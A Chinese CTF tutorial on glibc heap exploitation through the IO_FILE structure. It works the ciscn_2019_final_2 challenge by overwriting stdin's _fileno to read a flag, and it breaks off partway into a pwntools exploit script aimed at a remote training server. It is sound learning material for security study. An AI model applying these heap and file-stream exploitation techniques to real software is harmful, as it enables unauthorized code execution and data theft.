IO_FILE
pwn题堆利用的一些姿势 – malloc_hook
pwn题堆利用的一些姿势 – free_hook
pwn题堆利用的一些姿势 – setcontext
pwn题堆利用的一些姿势 – exit_hook
概述
在做堆题的时候,经常会遇到保护全开的情况,其中对利用者影响最大的是PIE保护和Full RELRO,NX保护和栈保护对堆利用来说影响都不大,一般利用也不会往这方面靠。开了PIE保护的话代码段的地址会变,需要泄露代码段基地址才能利用存储在bss段上的堆指针;开了Full RELRO的话,则意味着我们无法修改got表,导致无法修改其它函数got表指向system,进一步获取到shell。因此也就有了我这一系列文章的目的,在got表无法被修改时,我们往往利用的就是下面的一些hook+onegadget来达到我们的目的。
主要分为以下几个系列:malloc_hook --> free_hook --> IO_FILE --> setcontext。
IO_FILE结构介绍
这是pwn题堆利用系列的第三篇文章,本篇文章主要讲解一下IO_FILE结构在pwn题中的利用。一般来说,想到使用IO_FILE结构,是因为pwn题中没有可以用来leak的函数功能实现。
FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建,并分配在堆中,然后以链表的形式串联起来,但系统一开始会自动创建的三个文件即stdin、stdout、stderr,它们是在libc上。
我们可以从下面的角度开始一步一步认识这种文件结构,在libc-2.23版本中,有个全局变量_IO_list_all
,该变量指向了FILE链表的头部,我们可以通过gdb动态调试来实际观察一下。首先认识一个结构体_IO_FILE_plus
,所有FILE文件结构都是这样的一个结构体,整个结构体如下代码所示,其中又包括了两个重要的结构体_IO_FILE
和IO_jump_t
。
struct _IO_FILE_plus
{
_IO_FILE file;
_IO_jump_t *vtable;
}
如下面的截图所示,展示的是_IO_list_all
变量,其指向FILE链表的头部,结合上面的结构体可知,file对应的就是_IO_FILE
结构类型,vtable对应的就是_IO_jump_t
类型。在没有创建其它文件结构时,_IO_list_all
指向stderr,然后依次是stdout和stdin,这里通过在前面加上结构体类型可以详细的打印其内存数据信息。
由于_IO_FILE_plus
中只是存储了vtable的指针,并没有存储详细的结构信息,所以这里我们进一步打印一下这个指针,看看都有啥。如下截图所示:
在_IO_FILE
结构体中,_chain
字段指向下一个链表节点,因此我们可以通过这个字段去打印下一个FILE文件结构体信息。如下截图所示,展示的是stdout文件结构的内存数据信息,其_chain
字段指向stdin。
在上面的截图和文字中简单介绍了有关IO_FILE的结构体以及如何在gdb中进行查阅,不过上面的结构体中包含的信息确实是非常多,很多字段我这里也就不一一介绍了,有些字段会在后面用到时再讲解。
利用_fileno字段
原理分析
这里原理很简单,通过上面的分析,我们可以看到_fileno
的值就是文件描述符,位于stdin文件结构开头0x70
偏移处,比如:stderr的fileno值为2,stdout的fileno值为1。在漏洞利用中可以通过修改stdin的_fileno
值来重定位需要读取的文件,本来为0的话表示从标准输入中读取,修改为4则表示为从文件描述符为4的文件中读取,这里利用这个点可以直接读取flag。
一个例子
这里以国赛2019年的题目为例,ciscn_2019_final_2
,远程环境可以在buuoj上找到。简单分析一下题目,64位程序,保护全开,同时也启用了沙箱机制,不能直接使用execve系统调用,如下截图所示,程序一开始会读取flag文件,然后将文件描述符复制到666,并关闭原来的文件描述符。
题目漏洞在释放堆块的函数实现中,如下截图所示,堆块释放后堆指针没有置空,因此存在uaf + double free。同时该程序还有一个额外的读取和打印函数,名为bye_bye,截图也在下面。因此这道题,我们的利用思路就是利用fileno这个属性去打印flag。首先leak libc,计算出stdin+0x70即stdin的fileno字段位置,利用tcache bin attack将堆块分配到这里,修改fileno值为666,最后再调用bye_bye函数,此时scanf函数直接从文件描述符666中读取flag,而不是从标准输入0即我们的终端读取输入。
下面给出完整的Exp,因为这道题目限制只能分配0x20或者0x10大小的堆,加上使用bool来标记堆块的存在,所以利用double free来分配堆块到目的地址的过程略显复杂,读者可以分步耐心调试一番,定会有所收获。
from pwn import *
ld_path = "/home/fanxinli/libc-so/libc-27/ld-2.27.so"
libc_path = "/home/fanxinli/libc-so/libc-2.27-64.so"
# p = process([ld_path, "./ciscn_final_2"], env={"LD_PRELOAD":libc_path})
# p = process([ld_path, ""])
# p = process("", env={"LD_PRELOAD":libc_path})
# p = process("")
p = remote("node4.buuoj.cn", 29559)
# context.log_level = "debug"
r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
shell = lambda : p.interactive()
def add(tp, num):
sa("which command?\n> ", "1")
sa("2: short int\n>", str(tp))
sa("your inode number:", str(num))
def free(tp):
sa("which command?\n> ", "2")
sa("2: short int\n>", str(tp))
def show(tp):
sa("which command?\n> ", "3")
sa("2: short int\n>", str(tp))
def leave():
sa("which command?\n> ", "4")